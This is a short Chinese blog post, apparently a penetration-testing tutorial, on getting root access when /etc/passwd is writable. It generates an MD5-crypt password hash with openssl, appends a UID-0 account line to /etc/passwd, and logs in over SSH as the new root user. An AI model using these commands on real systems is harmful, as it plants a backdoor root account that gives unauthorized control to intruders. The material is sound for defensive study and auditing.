在有/etc/passwd写入权限的情况下,通过写入一条账号密码,可以直接使用写入的账号密码登录服务器。

第一步:使用openssl passwd生成加密后的密码

openssl passwd -1 -salt raj  #生成加密后的密码, -salt 加盐,-1 linux密码加密方式

123@wacky  #输入密码

$1$raj$PUzoloEwPB0aeoBnAB6CO/   #加密后的密码

第二步:追加构造好的passwd行到/etc/passwd文件中

echo 'raj:$1$raj$PUzoloEwPB0aeoBnAB6CO/:0:0::/root:/bin/bash' >>/etc/passwd  #添加到root组中,并且用户id为0 ,登录后whoami为root

tail passwd   #查看修改添加结果

 

应具备ssh远程的条件,安装开启了ssh服务,ssh端口对外开放。

ssh raj@207.107.114.64 -p 22

 

参考:

openssl passwd - 骏马金龙 - 博客园

https://www.cnblogs.com/f-ck-need-u/p/6089869.html

openssl用法详解 - Echo/ - 博客园

https://www.cnblogs.com/yangxiaolan/p/6256838.html

 

相关文章:

  • 2022-12-23
  • 2022-01-31
  • 2021-08-18
  • 2022-12-23
  • 2022-12-23
  • 2021-12-13
  • 2022-12-23
猜你喜欢
  • 2022-12-23
  • 2022-01-25
  • 2022-01-24
  • 2022-12-23
  • 2022-12-23
  • 2021-10-27
  • 2022-12-23
相关资源
相似解决方案